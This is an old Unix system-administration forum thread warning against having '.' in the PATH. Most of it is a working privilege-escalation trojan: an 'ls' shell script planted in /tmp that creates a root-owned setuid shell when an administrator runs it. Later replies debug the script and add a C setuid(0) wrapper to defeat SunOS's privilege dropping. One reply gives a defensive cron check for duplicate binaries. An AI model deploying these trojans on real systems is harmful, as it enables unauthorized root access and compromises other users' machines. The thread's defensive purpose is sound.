Having . in the PATH is quite dangerous especially if it is before the standard bin directories. Example of how this could be used to gain root access is given below.

Write a shell script 'ls' in /tmp, /var/tmp where you have write access. The shell script named 'ls' could be as below

#!/bin/sh
USER=`whoami`
if [ " $USER" = " root" ] ; then
cp /bin/sh <your homedir>/sh
chown root <your homedir>/sh
chmod 4755 <your homedir>/sh
fi
exec ls $*

IF your administrator has . in his PATH, wait for him/her to run the ls command in /tmp and HEY you can become root by executing the copy of sh command in your home directory

MORAL of the STORY : AVOID . in your PATH variable. Check your /etc/profile, .profile, .cshrc, .bash_profile, etc and make sure this is not the case

----------------------------

One nit: your script won't work. The last line calls ls, which will invoke PATH searching, which will find your script...repeat ad
naseum. You should put in the full path to ls (/bin/ls, or /usr/bin/ls).

One other thing to add: admins should have cron jobs checking for these kinds of trojans. Something like:
#!/bin/sh
list='ls cd popd pushd cat grep awk' # include a list of other common utils
for i in $list;do
found=`find / -name $i `
total=`echo $found | wc -l`
if [ $total > 1 ];then
dir=`echo $found | grep -v "/bin/$i" | grep -v "/usr/local/bin/$i" | grep -v "/usr/sbin/$i"`
echo "$i has a dupe in $dir"
fi
done

----------------------------

Yup, you are right there and that is a neat script and a good idea to include it in cron - Thanks

----------------------------

I almost was amazed by the idea..I repeat..almost. Coz to get a setuid pgm, just setting the perms to s+x is not enough..one
must have set it to setuid internally to root..and /usr/bin/sh has (at least in my SunOS 5.7) just not done that..to prevent a clever
person using it to get root..So one just ends up getting ones own shell!! And with the new versions coming up with kerberos,
even if one writes ones own setuid, it gets automatically converted into type data, as a find is made via cron for such that.. I add
a line from the crontab file for root..
30 3 * * * [ -x /usr/lib/gss/gsscred_clean ] && /usr/lib/gss/gsscred_clean

Secondly I found that the cshell was secured(why not the bourne shell I know not..) so one cannot simply exec the cshell if one
writes a valid suid to root code...

So Sun guys are getting wise..eh!??

----------------------------

Are you sure about this? I tried on Solaris 2.6 (SunOS 5.6) and Linux 2.2.14 using sh, bash, and ksh, in all six instances it
worked (chmod u+s <file> grants a root shell).

If you're right, this would be a huge reason to upgrade to 5.7; it would also be an(other) argument for not using Linux in the
enterprise.

----------------------------

To be double sure and to test it in SunOS5.6, I did the following....
user68# id
uid=0(root) gid=1(other)
user68# cp /usr/bin/sh ~atre
user68# ls -ltc ~atre/sh
-r-xr-xr-x 1 root other 88620 Dec 13 23:14 /export/home/atre/sh
user68# chmod +s ~atre/sh
user68# !l
ls -ltc ~atre/sh
-r-sr-sr-x 1 root other 88620 Dec 13 23:14 /export/home/atre/sh
user68# su - atre
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
atre@user68 # pwd
/export/home/atre
atre@user68 # ./sh
$ id
uid=100(atre) gid=1(other)
$ ls -ltac sh
-r-sr-sr-x 1 root other 88620 Dec 13 23:14 sh
$ exit
atre@user68 # uname -a
SunOS user68 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

So you see, SunOS5.6 too is quite secure..
If one really needs to become root so desperately, write your own 6 line setuid code, compile it and wait as Manny says..but I
repeat it gets converted to type data after some time

----------------------------

It is not working when I tried in one of out development machines
SunOS mach 5.5.1 Generic_103640-29 sun4u sparc SUNW,Ultra-Enterprise.
It still gives sh for the same user id
not with root.

----------------------------

On Solaris, the exec routines reverting back to the real user ids if setuid() is not called.
you can do the following
main()
{
setuid(0);
execl("/sbin/sh", "sh",0);
}
compile the above and set the set userid bit using
chmod. The chmod can be done within the trojan command which you have written.

Quick Links:
Do you have a UNIX Question?

Unix Home: Unix System Administration Hints and Tips